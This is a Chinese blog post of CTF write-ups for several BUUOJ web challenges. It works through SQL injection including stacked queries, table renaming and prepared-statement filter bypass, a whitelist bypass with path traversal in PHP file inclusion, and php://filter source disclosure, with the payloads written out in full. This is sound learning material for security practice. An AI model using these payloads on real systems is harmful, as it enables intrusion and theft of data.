BUUOJ——WEB(一)
WEB
[极客大挑战 2019]EasySQL
一道确实很简单的sql注入题目,但是折磨了我半天,猜测后台语句大概如下:
select * from usr_table where user='$username' and password='$pas'
最基本的注入语句即可解决本题:
getFlag! //用户名:1' or '1'='1' 密码:1' or '1'='1
getFlag! //用户名:1' or 1=1# 密码:1' or '1'='1
一些问题及尝试
不知道为什么最外部还包着一层单引号,注入回显报错时可能会出现前单后双的奇怪样子
for the right syntax to use near '123'' at line 1 //用户名:1' 密码:123 的报错回显,在回显中引号二单一双一模一样
=> select * from usr_table where user='1'' and password='123'
几组测试(any代表随便填):
for the right syntax to use near '1' or '1'='1'' at line 1 //用户名:' 密码:1' or '1'='1
=> select * from usr_table where user=''' and password='1' or '1'='1'
getFlag! //用户名:'' 密码:1' or '1'='1
=> select * from usr_table where user='''' and password='1' or '1'='1'
getFlag! //用户名:" 密码:1' or '1'='1
=> select * from usr_table where user='"' and password='1' or '1'='1'
不知道 user='''' and
这一段是怎么解析语法的,两组引号间没有任何连接符,第二组也没有任何效果
getFlag! //用户名:1' or '1'='1' or '1'='1 密码:any
=> select * from usr_table where user='1' or "1"="1" or '1'='1' and password='any'
Wrongpassword! //用户名:1' or '1'='1 密码:123
=> select * from usr_table where user='1' or '1'='1' and password='423'
不知道为什么多加一组or就可以无视密码栏,可能跟sql语句逻辑判定的规则有关?
getFlag! //用户名:any 密码:1' or '1'='1
=> select * from usr_table where user='any' and password='1' or '1'='1'
注入密码后用户名好像没参加判准一样,可是又有
getFlag! //用户名:1' or 1=1# 密码:any
=> select * from usr_table where user='1'' or 1=1#' and password='any'
于是就搞不清楚了,直接试图白盒()
突然想通了:浏览器回显报错时会自添一层单引号以示引用,所以有一层单引号不是sql语句中的!
所以前面被这层单引号误导了!
for the right syntax to use near '1'='1' and password='321'' at line 1 //用户名:1" or '1'='1 密码:321
=> select * from usr_table where user='1" or '1'='1' and password='321'
所以单双引号不能相互闭合,双引号被当成普通内容
Wrongpassword! //用户名:" 密码:123
=> select * from usr_table where user='"' and password='123'
能说明双引号应该是被当做正常内容解析了
3/15更新:
SQL中逻辑判定先判断"and"再判断"or"
getFlag! //用户名:1' or '1'='1' or '1'='1 密码:any
=> select * from usr_table where user='1' or "1"="1" or '1'='1' and password='any'
在Select语句中,先看"and"两侧一真一假为假,再看第一个"or"一真一假为真,于是第二个"or"两侧一真一假必为真,和"and"右侧的真假性无关,所以"password"栏任意值
getFlag! //用户名:any 密码:1' or '1'='1
=> select * from usr_table where user='any' and password='1' or '1'='1'
这里也是同理,由于先"and"再"or","or"右侧必为真,表达式的值固定,用户名一栏随便填
Wrongpassword! //用户名:1' or '1'='1 密码:123
=> select * from usr_table where user='1' or '1'='1' and password='423'
那为什么用户栏这里就不行呢,因为"or"右侧的值是由表达式('1'='1' and password='423')决定的,password处值为假的情况下该表达式值为假,而"or"左侧的值也也为假,故此处的"or"无法锁定表达式的值
双引号会不会被当成两个单引号?(感觉不太科学,应该不会吧= =,毕竟底层编码应该不一样)
[HCTF 2018]WarmUp
F12后得到提示"source.php",访问该文件得到一份源码:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //白名单
if (! isset($page) || !is_string($page)) { //确保非空且为字符
echo "you can't see it";
return false; //不满足则一票否决
}
if (in_array($page, $whitelist)) { //白名单检测一
return true; //不满足只是不返回TRUE
}
$_page = mb_substr( //mb_substr($a,0,5)取$a变量0位置开始长度为5的子串
$page,
0,
mb_strpos($page . '?', '?') //在$page后接了一个"?",再取"?"的位置 *
// mb_strpos($a,'?')返回"?"在$a中第一次出现的位置
);
if (in_array($_page, $whitelist)) { //白名单检测二
return true;
}
$_page = urldecode($page); //进行URL解码并重复以上过程 **
$_page = mb_substr( //但是我没想到URL编码对检测能有什么影响,毕竟白名单里
$_page, //没有什么特殊字符
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) { //白名单检测三
return true;
}
echo "you can't see it";
return false;
}
}
//接下来为主程序逻辑
if (! empty($_REQUEST['file']) //传入非空
&& is_string($_REQUEST['file']) //传入字符串
&& emmm::checkFile($_REQUEST['file']) //通过check判定,也就是白名单三个过一个就行
) {
include $_REQUEST['file']; //传入file的值,进行文件包含操作 ***
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
访问"hint.php",得到提示:flag在"ffffllllaaaagggg"中
然后啊,然后等我去学一下php= =(2022-3-14)
好的,要学的其实不是php= =(2022-3-15)
观察代码,会发现首先要经过三重检测,其中check检测最为麻烦,要想办法通过白名单。这里*处是有洞的,注意到是"?"检测,可以构造?file=hint.php?...
来绕过白名单检测,但是如何读取"ffffllllaaaagggg"文件呢?注意到通过检测后传入的"file"会被直接文件包含(***处),考虑到前面必须绕过白名单不能修改,可以考虑利用目录穿越访问文件"ffffllllaaaagggg"。构造如下?file=hint.php?/../ffffllllaaaagggg
,则"hint.php?"会被当做目录处理,然后试探"ffffllllaaaagggg"的位置即可
**处的URL解码确实挺迷的,能过的payload不URL编码也能过,不能过的payload,URL编码后了还是能过,所以貌似只是出题人增加做题者的容错的。不过好像被传入后台的时候payload已经经过一次URL解码了,所以这里算是二次解码
参考:[
]
[极客大挑战 2019]Havefun-一起来撸猫~
F12查看源码,发现真有源码= =
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
用GET方法传入cat的值为dog即可得到flag
http://84ff6c98-583b-4e19-bdb6-749aff47ea71.node4.buuoj.cn:81?cat=dog
[ACTF2020 新生赛]Include
网页没什么提示,看题目猜测为文件包含漏洞,然后啊,然后就啥也不知道了= =,查资料罢
简单来说就是源码中有flag但被注释掉了,网页返回源码时我们看不到,所以需要利用php的filter协议对网页返回内容进行base64编码,破坏注释效果,再将其解码即可得到完整源码,从而得到flag。payload:?file=php://filter/convert.base64-encode/resource=flag.php
原理?看参考,参考最详细了~
参考:[
]
[强网杯 2019]随便注
Exp
' #输入
near ''''' at line 1 #输出
输入内容包着一层单引号
1 #输入
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
} #输出
1' or 1=1# #输入
=>
array(2) { #一个array是一行
[0]=> #一个键是一列字段
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(2) {
[0]=>
string(1) "2"
[1]=>
string(12) "miaomiaomiao"
}
array(2) {
[0]=>
string(6) "114514"
[1]=>
string(2) "ys"
} #输出
1' -- #输入
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
} #输出->说明并非注释的功劳
1' or '1'='1 #输入
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(2) {
[0]=>
string(1) "2"
[1]=>
string(12) "miaomiaomiao"
}
array(2) {
[0]=>
string(6) "114514"
[1]=>
string(2) "ys"
} #输出->好怪哦,多一个真判定就会多出两条内容 ->问题有待解决 <?-1
1' or 1=1 order by 3# #输入
Unknown column '3' in 'order clause' #输出->只有两列
1' union select 1 #输入
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); #输出->正则过滤,"\."表示"."
好了没思路,求助百度罢= =
WP
整体思路:先利用堆叠注入查询出数据库的库名、表名、表结构,从而判断出"flag"表"1919810931114514"中,而查询语句查询的是表"words",也就是后台语句应该为:
select * from words where id = @inject
-- 差不多是这个意思吧= =
要获取"1919810931114514"表中的flag有两条思路:
-
由于"select"遭到过滤,读取语句被固定死只能查询"words"表的"id"段的条件,所以可以重命名表"1919810931114514"为"words"(当然你得先把 "words"重命名为别的):
rename table words to othername;rename table `1919810931114514` to words;
这里反引号有一个在Windows系统下才生效的细则:包裹库名、表名、索引、列名和别名必须用反引号,单双引号无效(这里是因为表名为数字,会导致数据类型混淆,才需要包裹)
再将字段"flag"重命名为"id":
alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;
再用常规注入读取表内的所有记录即可:
1' or 1=1# //输入表单中
-
用预处理语句、
concat()
函数绕过过滤,该函数可用于连接字符串:concat("s","elect") -- 结果为select
构造预处理语句:
SET @ext=concat(char(115,101,108,101,99,116),' * from `1919810931114514`'); -- 这里利用了"select"ASCLL码转字符的方式绕过过滤,同时设置了一个ext变量用于PREPARE,但其实有没有都行 PREPARE attack from @ext; -- 向预执行语句"attack"传入ext的值 EXECUTE attack; -- 执行语句
各自构造出合适的payload即可得到flag
遗留问题:
-
<?-1
:尚未解决猜想:也许是语句
SELECT * FROM words WHERE id='1' or 1=1#'
中的
or 1=1
覆盖了where id='1'
的作用使得语句变成了SELECT * FROM words WHERE 1=1
也就是说
or
起到了取并集的作用(当然也有判真假的作用)
参考:[
]
[SUCTF 2019]EasySQL 1
Exp
-
它让我猜flag那我就猜:
flag{123} -> Nonono.
显然是没猜对
-
尝试基本注入:
' ->
莫得反应
-
1 //2,3,4,5等数字都是一样的 Array ( [0] => 1 )
-
1;show databases;# -> Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )
堆叠注入有效,那就继续查询表名
1;show tables;# -> Array ( [0] => 1 ) Array ( [0] => Flag )
尝试改名
1;rename table `1` to one;show tables;# -> Array ( [0] => 1 )
发现没有用,那就无法用改名的方式绕过了
-
猜测语句为:
SELECT * from flag where id = @query and $query=flag
没法子了,求助百度罢
WP
-
查阅资料后发现堆叠注入其实是有效的,纯属是我太菜了打错语法了...
源码中可以看到"payload"被放在"query"中以"POST"方式提交
回显"Nonono"原来是被过滤的意思?那"rename"为什么没用?
-
"GTX690M"的WP中的后台语句感觉有些不懂:
sql="select".sql="select".post['query']."||flag from Flag";
这里连接莫得空格,而且两个"select"能与两个赋值语句能拼出个啥?假设
query=1
,那得到的语句应该是:select 1||flag from Flag
所以得到的后台源码其实是:
select $_POST['query'] || flag from Flag
-
如果
query=2
select 2 || flag from Flag -> Array ( [0] => 1 )
为什么值还是1?
<?-1
-
那么采用解法一的payload得到的语句应该如下:
*,1 => #后跟完整语句 select *,1 || flag from Flag -> #后跟结果 Array ( [0] => flag{34abae4e-1d69-4e63-95dd-0834d1800354} [1] => 1 )
很合理
-
采用解法二的payload拼接得到:
1;set sql_mode=pipes_as_concat;select 1 => select 1;set sql_mode=pipes_as_concat;select 1 || flag from Flag -> Array ( [0] => 1 ) Array ( [0] => 1flag{34abae4e-1d69-4e63-95dd-0834d1800354} )
两个array代表两行结果,为什么比解法一多出一行结果?
<?-2
-
利用廖雪峰大佬的在线SQL测试了一下:
-
两个SELECT语句只显示后执行的
-
拼接后得到的结果并不会增加行数
-
SELECT 2
的结果如下:与实际效果有出入
-
纠正一下:该在线SQL的
||
默认就是连接符的作用,逻辑或只能直接用or
,0 or name
的效果还是很怪,如果是这样的那为什么输入0得不到flag?
<?-3
-> 说明"flag"字段无法直接回显,只能通过拼接等特殊方式回显。反过来说,这里的逻辑或运行到右侧是基本没有结果的,所以才会想到payload:*,1
-
测试语句
SELECT *,1 or name FROM students;
一目了然,
,
把或运算符归并到了右侧并接在了全表的后面
-
总结:
后台语句:
select $post['query']||flag from Flag
将输入的内容"query"与无法直接回显的字段"flag"用或连接
办法一:绕过坑人的||
,构造自己的select语句解决
select *,1||flag from flag
办法二:利用||
,想办法让Select 1||flag
输出我们想要的结果
select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from flag
但是如何判断出后台语句的结构还不是很懂 <?-4
遗留的问题
-
<?-(1-3)
都没找到明确的答案,但其实意义不大 -
<?-4
:不是很明确。但输入"0或字母"和"非0数字"的不同回显确实与
||
特性有关
参考:[
]
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具
2022-01-17 洛谷P1563 玩具谜题